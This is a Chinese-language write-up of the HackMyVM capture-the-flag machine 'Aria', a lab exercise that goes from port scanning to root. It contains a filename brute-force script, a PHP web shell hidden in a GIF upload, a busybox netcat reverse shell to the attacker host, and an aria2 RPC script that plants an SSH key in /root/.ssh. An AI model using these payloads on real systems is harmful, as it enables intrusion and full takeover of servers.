<h1>Aria.</h1>
<blockquote>
<a href="https://hackmyvm.eu/machines/machine.php?vm=Aria">https://hackmyvm.eu/machines/machine.php?vm=Aria</a>
</blockquote>
<img src="/post-images/HackMyVMAria/image.png" alt="image.png">
<h2>Recon</h2>
<h3>端口扫描</h3>
<pre><code class="hljs language-bash">➜ Aria nmap -sT -min-rate 10000 -p- 192.168.56.214
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 23:23 CST
Nmap scan report for 192.168.56.214
Host is up (0.00037s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1337/tcp open waste
MAC Address: 08:00:27:9A:02:64 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 17.23 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Aria nmap -sT -A -p 22,80,1337 192.168.56.214
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 23:25 CST
Nmap scan report for 192.168.56.214
Host is up (0.00056s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Ultra-Secure Naming Service
|_http-server-header: Apache/2.4.62 (Debian)
1337/tcp open waste?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL, RPCCheck:
| --- Aria Debug Shell ---
| Type 'exit' to quit ---
| GenericLines:
</code></pre>
<h3>80 端口</h3>
给出了一点信息
<ul>
<li>通过 <code>md5(time()·rand(1,1000))</code> ****生成不可预测的文件名</li>
<li>并且文件内容不可包含 <code>&#x3C;?php</code></li>
<li>以及文件名仅仅可以是 gif / jpg / png</li>
</ul>
<img src="/post-images/HackMyVMAria/image1.png" alt="image.png">
<code>&#x3C;?php</code> 可以通过 <code>&#x3C;?=</code> 来绕过，文件名可以通过 <code>GIF89a</code> ，但是不可预测文件名需要想办法
<h3>1337 端口</h3>
扫描出来很奇怪，<code>nc</code> 一下
<pre><code class="hljs language-sql">➜Aria nc 192.168.56.214 1337
--- Aria Debug Shell ---
--- Type 'exit' to quit ---

$ help
This shell aids admins in debugging Aria services.
Use specific commands to view logs or hidden path.
Note: Web interface also provides foothold access.
</code></pre>
<blockquote>
此 Shell 可帮助管理员调试 Aria 服务。
使用特定命令查看日志或隐藏路径。
注意：Web 界面也提供立足点访问权限。
</blockquote>
大概是可以通过特定命令来查看日志或隐藏路径
<pre><code class="hljs language-bash">$ path
You're close! Try a command related to revealing paths.
$ path ls
You're close! Try a command related to revealing paths.
$ path dir
You're close! Try a command related to revealing paths.
$ path upload
You're close! Try a command related to revealing paths.
$ path ls -al
You're close! Try a command related to revealing paths.
$ path ls path
You're close! Try a command related to revealing paths.
$ path ll
You're close! Try a command related to revealing paths.
</code></pre>
想不到，再看看 <code>web</code> 端
<img src="/post-images/HackMyVMAria/image2.png" alt="image.png">
<h3>爆破</h3>
受不了，直接跟它爆了
<img src="/post-images/HackMyVMAria/BOOM-4x_(2).gif" alt="BOOM-4x (2).gif">
<pre><code class="hljs language-bash">import time
import hashlib
import requests
from datetime import datetime

# --- 配置区 ---
TARGET_IP = '192.168.56.214'
TARGET_PATH = '/uploads/'
FILE_EXTENSION = '.gif'
BASE_URL = f"http://{TARGET_IP}{TARGET_PATH}"

# 时间范围（秒）。例如 10 表示从当前时间的前10秒到后10秒
TIME_WINDOW_SECONDS = 10
# 随机数范围
RAND_MIN = 1
RAND_MAX = 1000

# --- 脚本核心逻辑 ---

def main():
 """主执行函数"""
 # 计算起始和结束时间戳
 current_time = int(time.time())
 start_time = current_time - TIME_WINDOW_SECONDS
 end_time = current_time + TIME_WINDOW_SECONDS

 # 打印任务信息
 print("=" * 52)
 print("开始爆破...")
 print(f"目标主机: {BASE_URL}")
 print("成功条件: 响应状态码不为 404")
 print(f"时间范围: {datetime.fromtimestamp(start_time)} -> {datetime.fromtimestamp(end_time)}")
 print(f"随机数范围: {RAND_MIN} - {RAND_MAX}")
 total_attempts = (end_time - start_time + 1) * RAND_MAX
 print(f"预计总尝试次数: {total_attempts:,}")
 print("=" * 52)

 # 使用 requests.Session() 可以复用TCP连接，提高效率
 session = requests.Session()
 session.headers.update({
 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
 }) # 添加一个常见的User-Agent，避免被一些简单的WAF拦截
 
 found = False
 counter = 0

 try:
 # 外层循环遍历时间戳
 for t in range(start_time, end_time + 1):
 # 内层循环遍历随机数
 for r in range(RAND_MIN, RAND_MAX + 1):
 # 1. 生成原始字符串
 original_string = f"{t}{r}"
 
 # 2. 计算 MD5 哈希
 md5_hash = hashlib.md5(original_string.encode('utf-8')).hexdigest()
 
 # 3. 构造完整的 URL
 url = f"{BASE_URL}{md5_hash}{FILE_EXTENSION}"
 
 # 实时显示进度
 counter += 1
 if counter % 500 == 0:
 print(f"已尝试 {counter:,} 次, 当前时间戳: {t} ", end='\r')

 try:
 # 4. 发送 HEAD 请求检查
 response = session.head(url, timeout=2, allow_redirects=True) # allow_redirects=True 可以跟随重定向
 
 # 5. 判断状态码 - 如果响应不是 404 Not Found，就认为是成功
 if response.status_code != 404:
 print("\n\n[+] 成功！发现一个非 404 响应！")
 print(f"[+] 状态码: {response.status_code}") # 打印实际的状态码
 print(f"[+] URL: {url}")
 print(f"[+] 生成源: 时间戳={t}, 随机数={r}")
 found = True
 return # 找到后直接退出函数
 
 except requests.exceptions.RequestException:
 continue

 except KeyboardInterrupt:
 print("\n\n[!] 用户手动中断了脚本。")
 finally:
 print("\n" + "=" * 52)
 if not found:
 print("爆破完成，未找到有效文件。")
 print("脚本执行结束。")
 print("=" * 52)

if __name__ == "__main__":
 main()

</code></pre>
测试一下
<pre><code class="hljs language-bash">------geckoformboundary4729ee082d4576ee3503c0196092f36c
Content-Disposition: form-data; name="file"; filename="nneo.gif"
Content-Type: image/gif

GIF89a

------geckoformboundary4729ee082d4576ee3503c0196092f36c--
</code></pre>
<img src="/post-images/HackMyVMAria/image3.png" alt="image.png">
写马子
<pre><code class="hljs language-bash">------geckoformboundary4729ee082d4576ee3503c0196092f36c
Content-Disposition: form-data; name="file"; filename="nneo.gif"
Content-Type: image/gif

GIF89a
&#x3C;?= phpinfo();exec($_GET['x']); ?>

------geckoformboundary4729ee082d4576ee3503c0196092f36c--
</code></pre>
通过马子弹个 <code>shell</code>
<pre><code class="hljs language-bash">?x=busybox+nc+192.168.56.5+1234+-e+%2Fbin%2Fbash
</code></pre>
<img src="/post-images/HackMyVMAria/image4.png" alt="image.png">
可以拿到 <code>user.txt</code>
<pre><code class="hljs language-bash">cat user.txt
flag{user-d13adadc6bbc1391394a5198cba2d1d7}
</code></pre>
<h2>提权</h2>
<h3>信息收集</h3>
首先拿到完整 shell （略）
查看正在监听端口，发现本地开着 <code>6800</code>
<pre><code class="hljs language-bash">www-data@Aria:/$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port 
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* 
tcp LISTEN 0 5 0.0.0.0:1337 0.0.0.0:* 
tcp LISTEN 0 128 127.0.0.1:6800 0.0.0.0:* 
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* 
tcp LISTEN 0 128 *:80 *:* 
tcp LISTEN 0 128 [::1]:6800 [::]:* 
tcp LISTEN 0 128 [::]:22 [::]:* 
</code></pre>
通过 socat 转发出去
<pre><code class="hljs language-bash">www-data@Aria:/tmp$ ./socat TCP-LISTEN:6801,fork TCP4:127.0.0.1:6800 &#x26;
[1] 25929
</code></pre>
但貌似并不是 HTTP 服务，结合吧唧名称和搜索引擎，大致确定是 aria2 的 RPC 端口，应该能从上面拿到什么文件
<blockquote>
Aria2 是一款自由、跨平台命令行界面的下载管理器，该软件根据 GPLv2 许可证进行分发
</blockquote>
<h3>Aria2 PRC - 1</h3>
找到官方文档，测试一下 PRC 接口
<blockquote>
<a href="https://aria2.github.io/manual/en/html/aria2c.html#terminology">https://aria2.github.io/manual/en/html/aria2c.html#terminology</a> | <a href="https://aria2.github.io/manual/en/html/aria2c.html#json-rpc-over-websocket">https://aria2.github.io/manual/en/html/aria2c.html#json-rpc-over-websocket</a>
</blockquote>
测试，确实有回显
<pre><code class="hljs language-bash">➜ Aria curl 192.168.56.116:6801/jsonrpc
{"id":null,"jsonrpc":"2.0","error":{"code":-32600,"message":"Invalid Request."}}# 
</code></pre>
测试一下方法，发现需要认证
<blockquote>
要使用 RPC 方法级授权，用户必须使用 <code>--rpc-secret</code> 选项指定 RPC 秘密授权令牌
</blockquote>
<pre><code class="hljs language-bash">➜ Aria curl '192.168.56.116:6801/jsonrpc?method=aria2.tellStatus&#x26;id=foo' 
{"id":"foo","jsonrpc":"2.0","error":{"code":1,"message":"Unauthorized"}}# 
</code></pre>
<h3>零宽度字符</h3>
所以现在的目标是要找到 <code>Token</code>
最后发现 <code>user.txt</code> 不正常
<img src="/post-images/HackMyVMAria/image5.png" alt="image.png">
<ul>
<li><code>E2 80 8B</code>: 这是 UTF-8 编码下的 零宽空格 (Zero-Width Space, ZWSP)。它是一个在排版中用于在不断词的地方允许换行的字符，但它本身完全不可见，也不占据任何宽度。</li>
<li><code>E2 80 8C</code>: 这是 UTF-8 编码下的 零宽非连接符 (Zero-Width Non-Joiner, ZWNJ)。它也是一个完全不可见的控制字符。</li>
</ul>
这应该是零宽度字节隐写，通过在线工具进行解密，通过搜索引擎搜索：Zero-Width Space Steganography 能找到可用的在线工具，尝试了很多个，最后这个能用
<blockquote>
<a href="https://stegzero.com/">https://stegzero.com/</a>
</blockquote>
<img src="/post-images/HackMyVMAria/image6.png" alt="image.png">
得到 <code>token: maze-sec</code>
<h3>Aria2 PRC - 2</h3>
在文档中能看到上传的了例子，我们让 AI 进行修改一下，上传公钥文件
<pre><code class="hljs language-bash">#!/usr/bin/python2
# -*- coding: utf-8 -*-

import urllib2
import json

# 1. Your attacker machine's IP address and web server port
attacker_ip = "192.168.56.5" 
attacker_port = 8080

# 2. The URL to your malicious authorized_keys file
payload_url = "http://{}:{}/authorized_keys".format(attacker_ip, attacker_port)

# 3. The secret token for the aria2 RPC interface
rpc_token = "maze-sec"

# 4. Build the aria2 JSON-RPC request
jsonreq = json.dumps({
 'jsonrpc': '2.0',
 'id': 'qwer',
 'method': 'aria2.addUri',
 'params': [
 "token:{}".format(rpc_token), # &#x3C;-- THIS IS THE CRUCIAL ADDITION
 [payload_url], # The URL list is now the second parameter
 { # The options object is now the third
 'dir': '/root/.ssh',
 'out': 'authorized_keys'
 }
 ]
})

print "Sending payload with token to aria2..."

# 5. Send the request
try:
 c = urllib2.urlopen('http://192.168.56.116:6801/jsonrpc', jsonreq)
 print "Payload sent successfully!"
 print "Server response:", c.read()
 print "\nCheck your web server logs to see if the file was downloaded."
 print "If successful, you should now be able to SSH as root."
except urllib2.HTTPError as e:
 print "HTTP Error:", e.code
 print "Response body:", e.read()
except Exception as e:
 print "An error occurred:", e
</code></pre>
修改脚本后运行脚本，上传成功
<img src="/post-images/HackMyVMAria/image7.png" alt="image.png">
通过私钥进行登录，成功登录
<img src="/post-images/HackMyVMAria/image8.png" alt="image.png">
读取 <code>root.txt</code>
<pre><code class="hljs language-bash">root@Aria:~# cat root.txt 
flag{root-374495cbd5d79b6e45b7778cbac070cc}
</code></pre>
<h2>总结</h2>
Medium ？

Aria.

 https://hackmyvm.eu/machines/machine.php?vm=Aria
 



Recon

端口扫描





80 端口

给出了一点信息

- 通过 `md5(time()·rand(1,1000))` 生成不可预测的文件名
- 并且文件内容不可包含 `<?php`
- 以及文件名仅仅可以是 gif / jpg / png



`<?php` 可...

HackMyVM - Aria

HackTheBox - Season9 - Imagery